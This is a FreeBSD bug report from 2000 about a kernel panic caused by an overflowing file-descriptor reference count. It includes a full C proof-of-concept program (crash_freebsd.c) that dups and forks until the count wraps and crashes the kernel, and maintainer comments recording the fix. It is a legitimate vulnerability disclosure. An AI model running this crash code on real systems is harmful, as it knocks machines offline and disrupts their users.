Bug 18346

Summary: User can panic kernel; signed short wraps
Product: Base System Reporter: Phil Pennock <pdp>
Component: kernAssignee: Matt Dillon <dillon>
Status: Closed FIXED    
Severity: Affects Only Me    
Priority: Normal    
Version: 3.4-STABLE   
Hardware: Any   
OS: Any   

Description Phil Pennock 2000-05-02 16:20:02 UTC
The file descriptor reference count is an unsigned short.  Should it
ever become negative, the kernel panics.  There is no check on
increment, so it can wrap and on a later close cause a panic.  This was
first spotted with an unfortunate choice of logfile handling for Apache.

Max files per proc * max procs per user > max_int(fd.f_count)

Fix: 

Two solutions, not mutually incompatible:
(1) Check f_count value before increment, return error if would wrap.
(2) Change f_count to int32_t instead of int16_t.

The second solution requires auditing all programs which access kernel
memory, eg lsof, to find potential problems.  :^/  *sighs*
How-To-Repeat: 
Compile the program below.
Possibly raise kern.maxfiles and kern.maxfilesperproc.  Play around.
Sync disks.  :^)
Run program, with parameters to indicate values.
If program slows down (the forks) and nothing happens, hit control-C -
this will lead to a file-descriptor being closed and so trigger the
panic then.

-----------------------------< cut here >-------------------------------
/* crash_freebsd.c */
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <stdlib.h>
#include <limits.h>
#include <unistd.h>
#include <errno.h>
#include <sys/types.h>
#include <signal.h>

#define DEF_VICTIM "/dev/null"

void cleanup (void) __attribute__((__noreturn__));
void exit_sigf (int sig);
void do_nowt ( void );

int
main ( int argc, char *argv[] )
{
	int fd;
	int *fds, *fdp;
	int i_f, i_p, ret;
	int n_fd, n_p;
	pid_t cp;
	char *progname, *filename;

	progname = strrchr(argv[0], '/');
	progname = progname ? progname+1 : argv[0];

	if (argc < 3) {
		fprintf(stderr,
		 "Usage: %s file_count process_count [filename]\n", progname);
		return 1;
	}

	errno = 0;
	n_fd = strtol(argv[1], NULL, 0);
	if (errno != 0) { perror(progname); return 1; }
	n_p = strtol(argv[2], NULL, 0);
	if (errno != 0) { perror(progname); return 1; }
	if (argc >= 4) {
		filename = argv[3];
	} else {
		filename = DEF_VICTIM;
	}

	setpgrp(0, getpgrp());

	if (!(fds = calloc(n_fd - 1, sizeof(int)))) {
		fprintf(stderr, "%s: Failed to allocate fd storage\n",
				progname);
		perror(progname);
		return 1;
	}

	ret = setvbuf(stdout, NULL, _IONBF, 0); /* ignore failure */
	printf("Starting test run on '%s'\n%d file descs by %d processes\n",
			filename, n_fd--, n_p);

	if ((fd = open(filename, O_RDONLY)) < 0) {
		fprintf(stderr, "%s: Failed to open '%s'\n",
				progname, filename);
		perror(progname);
		return 1;
	}

	for ( fdp=fds, i_f=0 ; i_f < n_fd ; ++i_f, ++fdp ) {
		*fdp = dup(fd);
		if (*fdp == -1) {
			ret = errno;
			printf("Failed to dup for %d/%d\n", i_f+2,n_fd);
			perror(progname);
			if (ret == EMFILE) {
				break;
			} else {
				return 2;
			}
		}
	}

	printf("We have %d filedescs open\n", n_fd+1);
	for ( i_p = 0 ; i_p < n_p-1 ; ++i_p ) {
		switch (cp = fork()) {
			case -1:
				printf("Failed to fork for %d/%d\n",i_p+1,n_p);
				cleanup();
				/* NOTREACHED */
			case 0:
				signal(SIGKILL, exit_sigf);
				printf("Started proc %d\n", i_p+1);
				do_nowt();
				exit(0);
			default:
				break;
		}
	}

	close(fd);
	sleep(1);
	cleanup();
	printf("Finished test run!  Woohoo!\n");
	return 0;
}

void
cleanup ( void )
{
	/* Can't be bothered with IPC ... */
	sleep(3);
	kill(0, SIGKILL);
	exit(0);
}

void
exit_sigf (int sig)
{
	exit(0);
}

void
do_nowt ( void )
{
	/* Can't be bothered with IPC ... */
	sleep(1000000);
}
-----------------------------< cut here >-------------------------------
Comment 1 Matt Dillon freebsd_committer freebsd_triage 2000-05-14 20:12:44 UTC
Responsible Changed
From-To: freebsd-bugs->dillon

I expect to have a patch worked up soon.  We will probably just 
bump the size of f_count and f_msgcount from a short to an int, 
but we have to check for compatibility problems first. 
Comment 2 Matt Dillon freebsd_committer freebsd_triage 2000-05-15 07:54:54 UTC
State Changed
From-To: open->closed


committed fix to -current, will MFC to -stable ASAP (we need to  
determine if third party kld compatibility will be a problem or not). 
Essentially changed the reference count fields from a short to an int.